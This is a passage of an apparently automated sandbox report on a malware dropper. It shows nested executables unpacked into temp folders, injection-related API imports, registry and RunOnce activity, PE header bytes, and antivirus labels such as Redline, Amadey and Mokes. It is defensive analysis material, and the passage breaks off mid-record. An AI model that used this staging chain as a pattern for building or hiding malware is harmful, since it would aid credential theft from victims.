"FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 3b567ed788b8d07ec909035f6147abd3.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: 3b567ed788b8d07ec909035f6147abd3.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: 3b567ed788b8d07ec909035f6147abd3.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: RN3xu93.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: RN3xu93.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: RN3xu93.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: RN3xu93.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: RN3xu93.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: dj4qK45.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: dj4qK45.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: dj4qK45.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: dj4qK45.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: dj4qK45.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: EL8Vj91.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: EL8Vj91.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: EL8Vj91.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: EL8Vj91.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: EL8Vj91.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: Wg1zV34.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: Wg1zV34.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: Wg1zV34.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: Wg1zV34.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: Wg1zV34.exe] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: kH1Br77.exe] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: kH1Br77.exe] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: kH1Br77.exe] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: kH1Br77.exe] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: kH1Br77.exe] Observed import api "GetSidIdentifierAuthority" which can "Returns a pointer to the SID_IDENTIFIER_AUTHORITY structure in a specified security identifier (SID)" [Source: 5bF4ZE9.exe] Observed import api "GetSidSubAuthority" which can "Returns a pointer to a specified subauthority in a security identifier (SID)" [Source: 5bF4ZE9.exe] Observed import api "GetSidSubAuthorityCount" which can "Returns a pointer to the member in a security identifier (SID) structure that contains the subauthority count" [Source: 5bF4ZE9.exe]55:Tef9,"3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP000.TMP\RN3XU93.EXE"; Value: "") "RN3xu93.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP001.TMP\DJ4QK45.EXE"; Value: "") "dj4qK45.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP002.TMP\EL8VJ91.EXE"; Value: "") "EL8Vj91.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP003.TMP\WG1ZV34.EXE"; Value: "") "Wg1zV34.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP004.TMP\KH1BR77.EXE"; Value: "") "Wg1zV34.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP004.TMP\3YF75JT.EXE"; Value: "") "kH1Br77.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP005.TMP\1OF31AD0.EXE"; Value: "") "kH1Br77.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP005.TMP\2VL5433.EXE"; Value: "") "1Of31Ad0.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\APPLAUNCH.EXE"; Value: "") "2vl5433.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\APPLAUNCH.EXE"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "")56:T67a,"RN3xu93.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\RN3xu93.exe]- [targetUID: 00000000-00000148] "dj4qK45.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\dj4qK45.exe]- [targetUID: 00000000-00004444] "4wt454Ls.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\4wt454Ls.exe]- [targetUID: 00000000-00002900] "2vl5433.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\2vl5433.exe]- [targetUID: 00000000-00007688] "EL8Vj91.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\EL8Vj91.exe]- [targetUID: 00000000-00002900] "1Of31Ad0.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\1Of31Ad0.exe]- [targetUID: 00000000-00005504] "Wg1zV34.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\Wg1zV34.exe]- [targetUID: 00000000-00002900] "kH1Br77.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\kH1Br77.exe]- [targetUID: 00000000-00005896] "5bF4ZE9.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\5bF4ZE9.exe]- [targetUID: 00000000-00004444] "6Ju7HU6.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\6Ju7HU6.exe]- [targetUID: 00000000-00005696] "7jw3kC52.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\7jw3kC52.exe]- [targetUID: 00000000-00000148]57:T485,"3b567ed788b8d07ec909035f6147abd3.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "RN3xu93.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "dj4qK45.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "EL8Vj91.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "Wg1zV34.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "kH1Br77.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "1Of31Ad0.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "AppLaunch.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE GROUPS"; Key: "1") "2vl5433.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK") "3YF75jT.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK")58:T6e5,"RN3xu93.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\RN3xu93.exe]- [targetUID: 00000000-00000148] "dj4qK45.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\dj4qK45.exe]- [targetUID: 00000000-00004444] "4wt454Ls.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\4wt454Ls.exe]- [targetUID: 00000000-00002900] "2vl5433.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\2vl5433.exe]- [targetUID: 00000000-00007688] "EL8Vj91.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\EL8Vj91.exe]- [targetUID: 00000000-00002900] "1Of31Ad0.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\1Of31Ad0.exe]- [targetUID: 00000000-00005504] "Wg1zV34.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\Wg1zV34.exe]- [targetUID: 00000000-00002900] "kH1Br77.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\kH1Br77.exe]- [targetUID: 00000000-00005896] "5bF4ZE9.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\5bF4ZE9.exe]- [targetUID: 00000000-00004444] "6Ju7HU6.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\6Ju7HU6.exe]- [targetUID: 00000000-00005696] "7jw3kC52.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\7jw3kC52.exe]- [targetUID: 00000000-00000148] "3YF75jT.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: 00000000-00005896]59:T84c,"3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "3b567ed788b8d07ec909035f6147abd3.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP0"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"") "RN3xu93.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "RN3xu93.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP1"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"") "dj4qK45.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "dj4qK45.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP2"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"") "EL8Vj91.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "EL8Vj91.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP3"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"") "Wg1zV34.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "Wg1zV34.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP4"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"") "kH1Br77.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE") "kH1Br77.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNONCE"; Key: "WEXTRACT_CLEANUP5"; Value: "rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP005.TMP\"")5a:T12e5,"3b567ed788b8d07ec909035f6147abd3.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\RN3xu93.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "3b567ed788b8d07ec909035f6147abd3.exe" wrote 4096 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\7jw3kC52.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "RN3xu93.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\dj4qK45.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "RN3xu93.exe" wrote 8704 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\6Ju7HU6.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "dj4qK45.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\EL8Vj91.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "dj4qK45.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\5bF4ZE9.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "EL8Vj91.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\Wg1zV34.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "EL8Vj91.exe" wrote 30208 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\4wt454Ls.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Wg1zV34.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\kH1Br77.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Wg1zV34.exe" wrote 26112 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\3YF75jT.exe": 4d5aff000100000004001000ffff00004001000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0a240000000000000000 ... "kH1Br77.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\1Of31Ad0.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "kH1Br77.exe" wrote 22528 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\2vl5433.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...5b:Ta16,"3b567ed788b8d07ec909035f6147abd3.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "RN3xu93.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "RN3xu93.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "dj4qK45.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "dj4qK45.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "dj4qK45.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "EL8Vj91.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "EL8Vj91.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "EL8Vj91.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "EL8Vj91.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" with delete access "Wg1zV34.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "Wg1zV34.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "Wg1zV34.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "Wg1zV34.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" with delete access "Wg1zV34.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP" with delete access "kH1Br77.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" with delete access "kH1Br77.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" with delete access "kH1Br77.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" with delete access "kH1Br77.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" with delete access "kH1Br77.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP" with delete access "kH1Br77.exe" opened "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP" with delete access "kH1Br77.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\2vl5433.exe" with delete access "kH1Br77.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\1Of31Ad0.exe" with delete access5c:T560,RegCloseKey OpenProcessToken RegCreateKeyExA RegOpenKeyExA RegDeleteValueA GetTempFileNameA GetSystemInfo GetFileAttributesA LoadLibraryA GetVersionExA GetModuleFileNameA LoadLibraryExA CreateDirectoryA DeleteFileA UnhandledExceptionFilter GetProcAddress GetStartupInfoW GetTempPathA CreateThread LockResource FindFirstFileA WriteFile FindNextFileA GetSystemDirectoryA GetModuleHandleW GetDriveTypeA TerminateProcess CreateProcessA Sleep CreateFileA GetTickCount FindResourceA GetTempPathW OutputDebugStringW CreateThreadpoolWait GetModuleFileNameW IsDebuggerPresent LoadLibraryExW ExitThread GetModuleHandleExW CreateThreadpoolWork SleepConditionVariableCS GetFileSizeEx FindNextFileW FindFirstFileExW CreateFileW GetNativeSystemInfo GetCommandLineW SleepConditionVariableSRW GetCommandLineA GetTickCount64 CreateThreadpoolTimer LookupAccountNameA GetUserNameA GetDriveTypeW GetThreadContext WriteProcessMemory CopyFileA GetVersionExW ReadProcessMemory DeleteFileW GetComputerNameExW VirtualAllocEx GetModuleHandleA VirtualAlloc ShellExecuteA HttpSendRequestA InternetOpenUrlA InternetReadFile InternetCloseHandle InternetOpenA InternetConnectA InternetOpenW CreateDirectoryW GetTempFileNameW LoadLibraryW GetSystemDirectoryW FindResourceW CreateProcessW ShellExecuteExW GetWindowThreadProcessId5d:T603,47/72 Antivirus vendors marked dropped file "RN3xu93.exe" as malicious (classified as "Stealerc.NS" with 65% detection rate) 47/72 Antivirus vendors marked dropped file "dj4qK45.exe" as malicious (classified as "Trojan.Generic" with 65% detection rate) 34/72 Antivirus vendors marked dropped file "4wt454Ls.exe" as malicious (classified as "Sabsik.FL.B" with 47% detection rate) 34/72 Antivirus vendors marked dropped file "2vl5433.exe" as malicious (classified as "GenKryptik" with 47% detection rate) 42/71 Antivirus vendors marked dropped file "EL8Vj91.exe" as malicious (classified as "Backdoor.Mokes" with 59% detection rate) 27/70 Antivirus vendors marked dropped file "1Of31Ad0.exe" as malicious (classified as "Kryptik.HUYH" with 38% detection rate) 45/71 Antivirus vendors marked dropped file "Wg1zV34.exe" as malicious (classified as "Backdoor.Mokes" with 63% detection rate) 31/71 Antivirus vendors marked dropped file "kH1Br77.exe" as malicious (classified as "Spy.Redline.lu" with 43% detection rate) 57/72 Antivirus vendors marked dropped file "5bF4ZE9.exe" as malicious (classified as "Amadey" with 79% detection rate) 48/72 Antivirus vendors marked dropped file "6Ju7HU6.exe" as malicious (classified as "Trojan.Generic" with 66% detection rate) 19/67 Antivirus vendors marked dropped file "7jw3kC52.exe" as malicious (classified as "BehavesLike.RealProtect" with 28% detection rate) 48/71 Antivirus vendors marked dropped file "3YF75jT.exe" as malicious (classified as "Gen:Trojan.Heur" with 67% detection rate)5e:T477,47/72 Antivirus vendors marked spawned process "RN3xu93.exe" (PID: 5696) as malicious (classified as "Stealerc.NS" with 65% detection rate) 47/72 Antivirus vendors marked spawned process "dj4qK45.exe" (PID: 4444) as malicious (classified as "Trojan.Generic" with 65% detection rate) 42/71 Antivirus vendors marked spawned process "EL8Vj91.exe" (PID: 2900) as malicious (classified as "Backdoor.Mokes" with 59% detection rate) 45/71 Antivirus vendors marked spawned process "Wg1zV34.exe" (PID: 5896) as malicious (classified as "Backdoor.Mokes" with 63% detection rate) 31/71 Antivirus vendors marked spawned process "kH1Br77.exe" (PID: 7688) as malicious (classified as "Spy.Redline.lu" with 43% detection rate) 27/70 Antivirus vendors marked spawned process "1Of31Ad0.exe" (PID: 5504) as malicious (classified as "Kryptik.HUYH" with 38% detection rate) 34/72 Antivirus vendors marked spawned process "2vl5433.exe" (PID: 6316) as malicious (classified as "GenKryptik" with 47% detection rate) 48/71 Antivirus vendors marked spawned process "3YF75jT.exe" (PID: 6300) as malicious (classified as "Gen:Trojan.Heur" with 67% detection rate)5f:T980,"3b567ed788b8d07ec909035f6147abd3.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\RN3xu93.exe" (Handle: 648) "RN3xu93.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\dj4qK45.exe" (Handle: 632) "dj4qK45.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\EL8Vj91.exe" (Handle: 648) "EL8Vj91.exe" wrote 4 bytes to a remote process 